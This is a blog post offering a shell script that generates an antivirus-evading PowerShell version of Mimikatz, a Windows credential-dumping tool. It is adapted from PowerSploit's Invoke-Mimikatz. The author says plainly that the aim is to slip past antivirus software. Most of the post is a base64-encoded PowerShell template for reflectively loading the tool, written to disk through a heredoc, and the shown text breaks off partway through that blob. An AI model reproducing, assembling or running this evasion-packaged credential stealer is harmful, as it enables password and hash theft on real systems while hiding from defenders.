Mimikatz 2.1.1 powershell script generator

June 08 Update

Sharing a lame shell script generator to produce a undetectable latest mimikatz 2.1.1 201700608(Que ferions-nous sans toi @gentilkiwi).

I like writing generators. So I have decided to write one for a powershell script mimikatz that would get through antivirus  software when I needed to verify some security settings on some servers.

The regular mimikatz releases get picked up by most AV’s as well as custom builds nowdays (unless you do some heavy Visual C++ kung-fu and make the code undetectable )

I was lazy and decided to do what most other people do in this case;  steal other code and modify it.

Pablo Picasso once said “Good Artists Copy, Great Artist Steal”

So lets get on to it then :)

I have used the most of the code from here : https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

Some ideas from here : http://www.blackhillsinfosec.com/?p=5555

And finally my stuff here :   (Sorry for the Base64 stuff there but it proved the most reliable method of compressing the original “huge” powershell kung-fu from PowerShellMafia)

make this script executable and place it in some custom dir

For the paranoid .. feel free to base64 -d the stuff here , its legit

Save the below as custom-mimikatz-ps-generator.sh (check the rm part at the end of the script so you dont get this file deleted ;)

############################################################################
#  ("`-''-/").___..--''"`-.                           #
#   `6_ 6  )   `-.  (     ).`-.__.`)     Mimikatz PS1 generator           #
#   (_Y_.)'  ._   )  `._ `. ``-..-'                                        #
# _..`--'_..-_/  /--'_.' ,'                           #
#(il),-''  (li),'  ((!.-'                           #
###########################################################################

#!/bin/bash
##########################################################################################################
# Here is the base64 encoded modified powershell template from PowershellMafia                 #
# https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1  #
# Part 01                                                  # 
##########################################################################################################
cat << EOF > file01
ZnVuY3Rpb24gZ2V0c3R1ZmYKewoKCltDbWRsZXRCaW5kaW5nKERlZmF1bHRQYXJhbWV0ZXJTZXRO
YW1lPSJnZXRzdHVmZiIpXQpQYXJhbSgKCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwKV0KCVtTdHJp
bmdbXV0KCSRDb21wdXRlck5hbWUsCiAKCiAgICBbUGFyYW1ldGVyKFBhcmFtZXRlclNldE5hbWUg
PSAiZ2V0c3R1ZmYiLCBQb3NpdGlvbiA9IDEpXQogICAgW1N0cmluZ10KICAgICRDb21tYW5kCiAK
CikKClNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIDIKCgokUmVtb3RlU2NyaXB0QmxvY2sgPSB7Cglb
Q21kbGV0QmluZGluZygpXQoJUGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDAsIE1hbmRh
dG9yeSA9ICR0cnVlKV0KCQlbU3RyaW5nXQoJCSRQRUJ5dGVzNjQsCgogICAgICAgIFtQYXJhbWV0
ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N0cmluZ10KCQkkUEVCeXRl
czMyLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkZmFsc2UpXQoJ
CVtTdHJpbmddCgkJJEZ1bmNSZXR1cm5UeXBlLAoJCQkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9
IDMsIE1hbmRhdG9yeSA9ICRmYWxzZSldCgkJW0ludDMyXQoJCSRQcm9jSWQsCgkJCgkJW1BhcmFt
ZXRlcihQb3NpdGlvbiA9IDQsIE1hbmRhdG9yeSA9ICRmYWxzZSldCgkJW1N0cmluZ10KCQkkUHJv
Y05hbWUsCgogICAgICAgIFtQYXJhbWV0ZXIoUG9zaXRpb24gPSA1LCBNYW5kYXRvcnkgPSAkZmFs
c2UpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJEV4ZUFyZ3MKCSkKCQoKCgoJRnVuY3Rpb24g
R2V0LVdpbjMyVHlwZXMKCXsKCQkkV2luMzJUeXBlcyA9IE5ldy1PYmplY3QgU3lzdGVtLk9iamVj
dAoKCgoJCSREb21haW4gPSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbgoJCSREeW5hbWljQXNz
ZW1ibHkgPSBOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnRHluYW1p
Y0Fzc2VtYmx5JykKCQkkQXNzZW1ibHlCdWlsZGVyID0gJERvbWFpbi5EZWZpbmVEeW5hbWljQXNz
ZW1ibHkoJER5bmFtaWNBc3NlbWJseSwgW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlC
dWlsZGVyQWNjZXNzXTo6UnVuKQoJCSRNb2R1bGVCdWlsZGVyID0gJEFzc2VtYmx5QnVpbGRlci5E
ZWZpbmVEeW5hbWljTW9kdWxlKCdEeW5hbWljTW9kdWxlJywgJGZhbHNlKQoJCSRDb25zdHJ1Y3Rv
ckluZm8gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxBc0F0dHJpYnV0
ZV0uR2V0Q29uc3RydWN0b3JzKClbMF0KCgoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxk
ZXIuRGVmaW5lRW51bSgnTWFjaGluZVR5cGUnLCAnUHVibGljJywgW1VJbnQxNl0pCgkJJFR5cGVC
dWlsZGVyLkRlZmluZUxpdGVyYWwoJ05hdGl2ZScsIFtVSW50MTZdIDApIHwgT3V0LU51bGwKCQkk
VHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSTM4NicsIFtVSW50MTZdIDB4MDE0YykgfCBPdXQt
TnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJdGFuaXVtJywgW1VJbnQxNl0gMHgw
MjAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ3g2NCcsIFtVSW50
MTZdIDB4ODY2NCkgfCBPdXQtTnVsbAoJCSRNYWNoaW5lVHlwZSA9ICRUeXBlQnVpbGRlci5DcmVh
dGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3Bl
cnR5IC1OYW1lIE1hY2hpbmVUeXBlIC1WYWx1ZSAkTWFjaGluZVR5cGUKCgoJCSRUeXBlQnVpbGRl
ciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZUVudW0oJ01hZ2ljVHlwZScsICdQdWJsaWMnLCBbVUlu
dDE2XSkKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfTlRfT1BUSU9OQUxfSERS
MzJfTUFHSUMnLCBbVUludDE2XSAweDEwYikgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp
bmVMaXRlcmFsKCdJTUFHRV9OVF9PUFRJT05BTF9IRFI2NF9NQUdJQycsIFtVSW50MTZdIDB4MjBi
KSB8IE91dC1OdWxsCgkJJE1hZ2ljVHlwZSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkk
V2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1h
Z2ljVHlwZSAtVmFsdWUgJE1hZ2ljVHlwZQoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxk
ZXIuRGVmaW5lRW51bSgnU3ViU3lzdGVtVHlwZScsICdQdWJsaWMnLCBbVUludDE2XSkKCQkkVHlw
ZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VCU1lTVEVNX1VOS05PV04nLCBbVUludDE2
XSAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX1NVQlNZ
U1RFTV9OQVRJVkUnLCBbVUludDE2XSAxKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUxpdGVyYWwoJ0lNQUdFX1NVQlNZU1RFTV9XSU5ET1dTX0dVSScsIFtVSW50MTZdIDIpIHwgT3V0
LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VCU1lTVEVNX1dJTkRP
V1NfQ1VJJywgW1VJbnQxNl0gMykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRl
cmFsKCdJTUFHRV9TVUJTWVNURU1fUE9TSVhfQ1VJJywgW1VJbnQxNl0gNykgfCBPdXQtTnVsbAoJ
CSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fV0lORE9XU19DRV9H
VUknLCBbVUludDE2XSA5KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwo
J0lNQUdFX1NVQlNZU1RFTV9FRklfQVBQTElDQVRJT04nLCBbVUludDE2XSAxMCkgfCBPdXQtTnVs
bAoJCSRUeXBlQnVpbGRlci5EZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fRUZJX0JPT1Rf
U0VSVklDRV9EUklWRVInLCBbVUludDE2XSAxMSkgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E
ZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fRUZJX1JVTlRJTUVfRFJJVkVSJywgW1VJbnQx
Nl0gMTIpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfU1VC
U1lTVEVNX0VGSV9ST00nLCBbVUludDE2XSAxMykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E
ZWZpbmVMaXRlcmFsKCdJTUFHRV9TVUJTWVNURU1fWEJPWCcsIFtVSW50MTZdIDE0KSB8IE91dC1O
dWxsCgkJJFN1YlN5c3RlbVR5cGUgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpCgkJJFdpbjMy
VHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBTdWJTeXN0
ZW1UeXBlIC1WYWx1ZSAkU3ViU3lzdGVtVHlwZQoKCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1
aWxkZXIuRGVmaW5lRW51bSgnRGxsQ2hhcmFjdGVyaXN0aWNzVHlwZScsICdQdWJsaWMnLCBbVUlu
dDE2XSkKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVTXzAnLCBbVUludDE2XSAweDAw
MDEpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVTXzEnLCBbVUlu
dDE2XSAweDAwMDIpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnUkVT
XzInLCBbVUludDE2XSAweDAwMDQpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0
ZXJhbCgnUkVTXzMnLCBbVUludDE2XSAweDAwMDgpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIu
RGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMX0NIQVJBQ1RFUklTVElDU19EWU5BTUlDX0JBU0UnLCBb
VUludDE2XSAweDAwNDApIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgn
SU1BR0VfRExMX0NIQVJBQ1RFUklTVElDU19GT1JDRV9JTlRFR1JJVFknLCBbVUludDE2XSAweDAw
ODApIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMX0NI
QVJBQ1RFUklTVElDU19OWF9DT01QQVQnLCBbVUludDE2XSAweDAxMDApIHwgT3V0LU51bGwKCQkk
VHlwZUJ1aWxkZXIuRGVmaW5lTGl0ZXJhbCgnSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX05PX0lT
T0xBVElPTicsIFtVSW50MTZdIDB4MDIwMCkgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp
bmVMaXRlcmFsKCdJTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfTk9fU0VIJywgW1VJbnQxNl0gMHgw
NDAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENI
QVJBQ1RFUklTVElDU19OT19CSU5EJywgW1VJbnQxNl0gMHgwODAwKSB8IE91dC1OdWxsCgkJJFR5
cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ1JFU180JywgW1VJbnQxNl0gMHgxMDAwKSB8IE91dC1O
dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENIQVJBQ1RFUklTVElD
U19XRE1fRFJJVkVSJywgW1VJbnQxNl0gMHgyMDAwKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVy
LkRlZmluZUxpdGVyYWwoJ0lNQUdFX0RMTENIQVJBQ1RFUklTVElDU19URVJNSU5BTF9TRVJWRVJf
QVdBUkUnLCBbVUludDE2XSAweDgwMDApIHwgT3V0LU51bGwKCQkkRGxsQ2hhcmFjdGVyaXN0aWNz
VHlwZSA9ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1i
ZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIERsbENoYXJhY3RlcmlzdGljc1R5cGUg
LVZhbHVlICREbGxDaGFyYWN0ZXJpc3RpY3NUeXBlCgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xh
eW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBFeHBsaWNpdExheW91dCwgU2VhbGVkLCBC
ZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlw
ZSgnSU1BR0VfREFUQV9ESVJFQ1RPUlknLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5cGVd
LCA4KQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1ZpcnR1YWxBZGRyZXNzJywgW1VJbnQz
Ml0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRl
ZmluZUZpZWxkKCdTaXplJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQpIHwgT3V0
LU51bGwKCQkkSU1BR0VfREFUQV9ESVJFQ1RPUlkgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgp
CgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFt
ZSBJTUFHRV9EQVRBX0RJUkVDVE9SWSAtVmFsdWUgJElNQUdFX0RBVEFfRElSRUNUT1JZCgoKCQkk
QXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNlcXVl
bnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9ICRN
b2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0ZJTEVfSEVBREVSJywgJEF0dHJpYnV0ZXMs
IFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjApCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWNo
aW5lJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdOdW1iZXJPZlNlY3Rpb25zJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxs
CgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdUaW1lRGF0ZVN0YW1wJywgW1VJbnQzMl0sICdQ
dWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQb2ludGVyVG9T
eW1ib2xUYWJsZScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRl
ci5EZWZpbmVGaWVsZCgnTnVtYmVyT2ZTeW1ib2xzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91
dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZPcHRpb25hbEhlYWRlcics
IFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVs
ZCgnQ2hhcmFjdGVyaXN0aWNzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJElN
QUdFX0ZJTEVfSEVBREVSID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVz
IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRklMRV9I
RUFERVIgLVZhbHVlICRJTUFHRV9GSUxFX0hFQURFUgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xh
eW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBFeHBsaWNpdExheW91dCwgU2VhbGVkLCBC
ZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlw
ZSgnSU1BR0VfT1BUSU9OQUxfSEVBREVSNjQnLCAkQXR0cmlidXRlcywgW1N5c3RlbS5WYWx1ZVR5
cGVdLCAyNDApCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFnaWMnLCAkTWFnaWNUeXBl
LCAnUHVibGljJykpLlNldE9mZnNldCgwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZp
bmVGaWVsZCgnTWFqb3JMaW5rZXJWZXJzaW9uJywgW0J5dGVdLCAnUHVibGljJykpLlNldE9mZnNl
dCgyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWlub3JMaW5rZXJW
ZXJzaW9uJywgW0J5dGVdLCAnUHVibGljJykpLlNldE9mZnNldCgzKSB8IE91dC1OdWxsCgkJKCRU
eXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mQ29kZScsIFtVSW50MzJdLCAnUHVibGljJykp
LlNldE9mZnNldCg0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6
ZU9mSW5pdGlhbGl6ZWREYXRhJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDgpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZVbmluaXRpYWxpemVk
RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgxMikgfCBPdXQtTnVsbAoJCSgk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0FkZHJlc3NPZkVudHJ5UG9pbnQnLCBbVUludDMyXSwg
J1B1YmxpYycpKS5TZXRPZmZzZXQoMTYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdCYXNlT2ZDb2RlJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIwKSB8
IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnSW1hZ2VCYXNlJywgW1VJbnQ2
NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDI0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnU2VjdGlvbkFsaWdubWVudCcsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9m
ZnNldCgzMikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0ZpbGVBbGln
bm1lbnQnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMzYpIHwgT3V0LU51bGwKCQko
JFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWpvck9wZXJhdGluZ1N5c3RlbVZlcnNpb24nLCBb
VUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWls
ZGVyLkRlZmluZUZpZWxkKCdNaW5vck9wZXJhdGluZ1N5c3RlbVZlcnNpb24nLCBbVUludDE2XSwg
J1B1YmxpYycpKS5TZXRPZmZzZXQoNDIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdNYWpvckltYWdlVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNl
dCg0NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9ySW1hZ2VW
ZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ2KSB8IE91dC1OdWxsCgkJ
KCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTWFqb3JTdWJzeXN0ZW1WZXJzaW9uJywgW1VJbnQx
Nl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ4KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnTWlub3JTdWJzeXN0ZW1WZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSku
U2V0T2Zmc2V0KDUwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnV2lu
MzJWZXJzaW9uVmFsdWUnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNTIpIHwgT3V0
LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZJbWFnZScsIFtVSW50MzJd
LCAnUHVibGljJykpLlNldE9mZnNldCg1NikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVm
aW5lRmllbGQoJ1NpemVPZkhlYWRlcnMnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQo
NjApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDaGVja1N1bScsIFtV
SW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg2NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ1N1YnN5c3RlbScsICRTdWJTeXN0ZW1UeXBlLCAnUHVibGljJykpLlNl
dE9mZnNldCg2OCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RsbENo
YXJhY3RlcmlzdGljcycsICREbGxDaGFyYWN0ZXJpc3RpY3NUeXBlLCAnUHVibGljJykpLlNldE9m
ZnNldCg3MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlN0
YWNrUmVzZXJ2ZScsIFtVSW50NjRdLCAnUHVibGljJykpLlNldE9mZnNldCg3MikgfCBPdXQtTnVs
bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZlN0YWNrQ29tbWl0JywgW1VJbnQ2
NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDgwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnU2l6ZU9mSGVhcFJlc2VydmUnLCBbVUludDY0XSwgJ1B1YmxpYycpKS5TZXRP
ZmZzZXQoODgpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZI
ZWFwQ29tbWl0JywgW1VJbnQ2NF0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDk2KSB8IE91dC1OdWxs
CgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTG9hZGVyRmxhZ3MnLCBbVUludDMyXSwgJ1B1
YmxpYycpKS5TZXRPZmZzZXQoMTA0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVG
aWVsZCgnTnVtYmVyT2ZSdmFBbmRTaXplcycsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNl
dCgxMDgpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdFeHBvcnRUYWJs
ZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTEyKSB8IE91
dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnSW1wb3J0VGFibGUnLCAkSU1BR0Vf
REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyMCkgfCBPdXQtTnVsbAoJCSgk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1Jlc291cmNlVGFibGUnLCAkSU1BR0VfREFUQV9ESVJF
Q1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyOCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ0V4Y2VwdGlvblRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAn
UHVibGljJykpLlNldE9mZnNldCgxMzYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdDZXJ0aWZpY2F0ZVRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGlj
JykpLlNldE9mZnNldCgxNDQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdCYXNlUmVsb2NhdGlvblRhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykp
LlNldE9mZnNldCgxNTIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdE
ZWJ1ZycsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTYwKSB8
IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXJjaGl0ZWN0dXJlJywgJElN
QUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNjgpIHwgT3V0LU51bGwK
CQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdHbG9iYWxQdHInLCAkSU1BR0VfREFUQV9ESVJF
Q1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE3NikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ1RMU1RhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGlj
JykpLlNldE9mZnNldCgxODQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdMb2FkQ29uZmlnVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0
T2Zmc2V0KDE5MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0JvdW5k
SW1wb3J0JywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgyMDAp
IHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdJQVQnLCAkSU1BR0VfREFU
QV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIwOCkgfCBPdXQtTnVsbAoJCSgkVHlw
ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlbGF5SW1wb3J0RGVzY3JpcHRvcicsICRJTUFHRV9EQVRB
X0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjE2KSB8IE91dC1OdWxsCgkJKCRUeXBl
QnVpbGRlci5EZWZpbmVGaWVsZCgnQ0xSUnVudGltZUhlYWRlcicsICRJTUFHRV9EQVRBX0RJUkVD
VE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjI0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRl
ci5EZWZpbmVGaWVsZCgnUmVzZXJ2ZWQnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMn
KSkuU2V0T2Zmc2V0KDIzMikgfCBPdXQtTnVsbAoJCSRJTUFHRV9PUFRJT05BTF9IRUFERVI2NCA9
ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1l
bWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX09QVElPTkFMX0hFQURFUjY0IC1WYWx1
